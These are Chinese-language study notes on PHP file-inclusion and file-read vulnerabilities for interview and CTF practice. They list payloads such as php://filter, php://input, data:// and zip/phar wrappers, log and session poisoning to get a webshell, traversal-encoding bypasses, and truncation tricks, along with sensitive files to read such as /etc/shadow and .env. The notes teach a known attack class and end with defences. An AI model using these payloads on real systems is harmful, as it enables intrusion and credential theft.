面試問題
1,任意文件讀取,到底讀什么文件,有什么危害
權限是www
只能讀第一個,讀這個沒用,密碼在/etc/shadow中
其它沒有權限
my.cnf? ? mysql密碼看不了
但是可以看見日志文件的目錄
sql注入時,你有注入點,可以支持堆疊,并且是root權限
就可以打開日志,修改位置
就可以通過修改成php文件
來實現webshell
.env重點
準備階段
偽協議
一.【file://協議】
PHP.ini:
file:// 協議在雙off的情況下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
file:// 用于訪問本地文件系統,在CTF中通常用來讀取本地文件的且不受allow_url_fopen與allow_url_include的影響
file:// [文件的絕對路徑和文件名]
http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt
?編輯
二.【php://協議】
條件:
不需要開啟allow_url_fopen,僅php://input、 php://stdin、 php://memory 和 php://temp 需要開啟allow_url_include。
php:// 訪問各個輸入/輸出流(I/O streams),在CTF中經常使用的是php://filter和php://input,php://filter用于讀取源碼,php://input用于執行php代碼。
參考自:PHP: php:// - Manual
php://filter 讀取源代碼并進行base64編碼輸出,不然會直接當做php代碼執行就看不到源代碼內容了。
PHP.ini:
php://filter在雙off的情況下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
測試現象:
http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php
php://input 可以訪問請求的原始數據的只讀流, 將post請求中的數據作為PHP代碼執行。
PHP.ini:
allow_url_fopen :off/on
allow_url_include:on
測試現象:
http://127.0.0.1/cmd.php?file=php://input
[POST DATA] <?php phpinfo()?>
也可以POST如下內容生成一句話: <?php ?>’);?>
三.【zip://, bzip2://, zlib://協議】
自動解壓壓縮包 然后把壓縮包的文件放在include 進行文件包含
PHP.ini:
zip://, bzip2://, zlib://協議在雙off的情況下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
zip://, bzip2://, zlib:// 均屬于壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定后綴名。
參考自:PHP: zlib:// - Manual
1.【zip://協議】
使用方法:
zip://archive.zip#dir/file.txt
zip:// [壓縮文件絕對路徑]#[壓縮文件內的子文件名]
測試現象:
http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
先將要執行的PHP代碼寫好文件名為phpcode.txt,將phpcode.txt進行zip壓縮,壓縮文件名為file.zip,如果可以上傳zip文件便直接上傳,若不能便將file.zip重命名為file.jpg后在上傳,其他幾種壓縮格式也可以這樣操作。
由于#在get請求中會將后面的參數忽略所以使用get請求時候應進行url編碼為%23,且此處經過測試相對路徑是不可行,所以只能用絕對路徑。
這個壓縮后php特征明顯,可以
繞過waf
2.【bzip2://協議】
使用方法:
compress.bzip2://file.bz2
測試現象:
http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg
3.【zlib://協議】
使用方法:
compress.zlib://file.gz
測試現象:
http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
四.【data://協議】
經過測試官方文檔上存在一處問題,經過測試PHP版本5.2,5.3,5.5,7.0;data:// 協議是是受限于allow_url_fopen的,官方文檔上給出的是NO,所以要使用data://協議需要滿足雙on條件
PHP.ini:
data://協議必須雙在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
參考自:PHP: data:// - Manual, 官方文檔上allow_url_fopen應為yes。
測試現象:
http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
也可以:
http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
五. 常規小結:
PHP封裝協議在CTF蠻常見的,是經常會遇到的出題點,如下便是對本篇涉及的封裝協議進行的總結,期待小伙伴的交流和補充。
文件包含的函數?
php代碼不會展現在頁面
包含APACHE日志文件
你必須要知道日志物理路徑
??WEB服務器一般會將用戶的訪問記錄保存在訪問日志中。那么我們可以根據日志記錄的內容,精心構造請求,把PHP代碼插入到日志文件中,通過文件包含漏洞來執行日志中的PHP代碼。 ??Apache運行后一般默認會生成兩個日志文件,Windos下是access.log(訪問日志)和error.log(錯誤日志),Linux下是access_log和error_log,訪問日志文件記錄了客戶端的每次請求和服務器響應的相關信息。如果訪問一個不存在的資源時,如XXXX<?php phpinfo(); ?>,則會記錄在日志中,但是代碼中的敏感字符會被瀏覽器轉碼,我們可以通過burpsuit繞過編碼,就可以把<?php phpinfo(); ?> 寫入apache的日志文件,然后可以通過包含日志文件來執行此代碼,但前提是你得知道apache日志文件的存儲路徑,所以為了安全期間,安裝apache時盡量不要使用默認路徑。
(但是日志可能太多,會導致)服務器down)
日志分隔
一般大公司都會,按時間分隔,可能凌晨12點
參考文章:
1.包含日志文件getshell ?????2.一道包含日志文件的CTF題
包含SESSION文件
可以先根據嘗試包含到SESSION文件,在根據文件內容尋找可控變量,在構造payload插入到文件中,最后包含即可。
利用條件:
-
找到Session內的可控變量
-
Session文件可讀寫,并且知道存儲路徑
php的session文件的保存路徑可以在phpinfo的session.save_path看到。 session常見存儲路徑:
-
/var/lib/php/sess_PHPSESSID
-
/var/lib/php/sess_PHPSESSID
-
/tmp/sess_PHPSESSID
-
/tmp/sessions/sess_PHPSESSID
-
session文件格式: sess_[phpsessid] ,而 phpsessid 在發送的請求的 cookie 字段中可以看到。
參考文章:一道SESSION包含的CTF題
包含/PROC/SELF/ENVIRON
proc/self/environ中會保存user-agent頭,如果在user-agent中插入php代碼,則php代碼會被寫入到environ中,之后再包含它,即可。
**利用條件:**
- php以cgi方式運行,這樣environ才會保持UA頭。
- environ文件存儲位置已知,且environ文件可讀。
參考文章:[proc / self / environ Injection
包含臨時文件
php中上傳文件,會創建臨時文件。在linux下使用/tmp目錄,而在windows下使用c:\winsdows\temp目錄。在臨時文件被刪除之前,利用競爭即可包含該臨時文件。
由于包含需要知道包含的文件名。一種方法是進行暴力猜解,linux下使用的隨機函數有缺陷,而window下只有65535中不同的文件名,所以這個方法是可行的。
另一種方法是配合phpinfo頁面的php variables,可以直接獲取到上傳文件的存儲路徑和臨時文件名,直接包含即可。這個方法可以參考LFI With PHPInfo Assistance
類似利用臨時文件的存在,競爭時間去包含的,可以看看這道CTF題:XMAN夏令營-2017-babyweb-writeup
其他包含姿勢
-
包含SMTP(日志)
-
包含xss
文件包含漏洞的繞過方法
指定前綴繞過
一、目錄遍歷
使用 ../../ 來返回上一目錄,被稱為目錄遍歷(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php 測試代碼如下:
<?php error_reporting(0); $file = $_GET["file"]; //前綴 include "/var/www/html/".$file; <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
現在在/var/log目錄下有文件flag.txt,則利用…/可以進行目錄遍歷,比如我們嘗試訪問:
include.php?file=../../log/flag.txt
則服務器端實際拼接出來的路徑為:/var/www/html/../../log/test.txt,即 /var/log/flag.txt,從而包含成功。
二、編碼繞過
服務器端常常會對于../等做一些過濾,可以用一些編碼來進行繞過。 1.利用url編碼
-
../
-
%2e%2e%2f
-
..%2f
-
%2e%2e/
-
-
..\
-
%2e%2e%5c
-
..%5c
-
%2e%2e\
-
2.二次編碼
-
../
-
%252e%252e%252f
-
-
..\
-
%252e%252e%255c
-
3.容器/服務器的編碼方式
-
../
-
..%c0%af
-
注:Why does Directory traversal attack %C0%AF work?
-
-
%c0%ae%c0%ae/
-
注:java中會把”%c0%ae”解析為”\uC0AE”,最后轉義為ASCCII字符的”.”(點) Apache Tomcat Directory Traversal
-
-
-
..\
-
..%c1%9c
-
指定后綴繞過
后綴繞過測試代碼如下,下述各后綴繞過方法均使用此代碼:
<?php error_reporting(0); $file = $_GET["file"]; //后綴 include $file.".txt"; <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
一、利用URL
在遠程文件包含漏洞(RFI)中,可以利用query或fragment來繞過后綴限制。 可參考此文章:URI’s fragment
完整url格式:
protocol :// hostname[:port] / path / [;parameters][?query]#fragment 11
query(?)
-
[訪問參數]
?file=http://localhost:8081/phpinfo.php?
-
[拼接后] ?
?file=http://localhost:8081/phpinfo.php?.txt
Example:(設在根目錄下有flag2.txt文件) fragment(#)
-
[訪問參數]
?file=http://localhost:8081/phpinfo.php%23
-
[拼接后]?
?file=http://localhost:8081/phpinfo.php#.txt
Example:(設在根目錄下有flag2.txt文件)
二、利用協議
利用zip://和phar://,由于整個壓縮包都是我們的可控參數,那么只需要知道他們的后綴,便可以自己構建。
zip://
-
[訪問參數]
?file=zip://D:\zip.jpg%23phpinfo
-
[拼接后] ?
?file=zip://D:\zip.jpg#phpinfo.txt
phar://
-
[訪問參數]
?file=phar://zip.zip/phpinfo
-
[拼接后] ?
?file=phar://zip.zip/phpinfo.txt
Example: (我的環境根目錄中有php.zip壓縮包,內含phpinfo.txt,其中包含代碼<?php phpinfo();?>)) 所以分別構造payload為:
?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo
?file=phar://../../php.zip/phpinfo
三、長度截斷
利用條件:
-
php版本 < php 5.2.8
原理:
-
Windows下目錄最大長度為256字節,超出的部分會被丟棄
-
Linux下目錄最大長度為4096字節,超出的部分會被丟棄。
利用方法:
-
只需要不斷的重復 ./(Windows系統下也可以直接用 . 截斷)
?file=./././。。。省略。。。././shell.php 11
則指定的后綴.txt會在達到最大值后會被直接丟棄掉
四、%00截斷
利用條件:
-
magic_quotes_gpc = Off
-
php版本 < php 5.3.4
利用方法:
-
直接在文件名的最后加上%00來截斷指定的后綴名
?file=shell.php%00
注:現在用到%00階段的情況已經不多了
文件包含漏洞防御
-
allow_url_include和allow_url_fopen最小權限化
-
設置open_basedir(open_basedir 將php所能打開的文件限制在指定的目錄樹中)
-
*白名單限制包含文件,或者嚴格過濾 . / *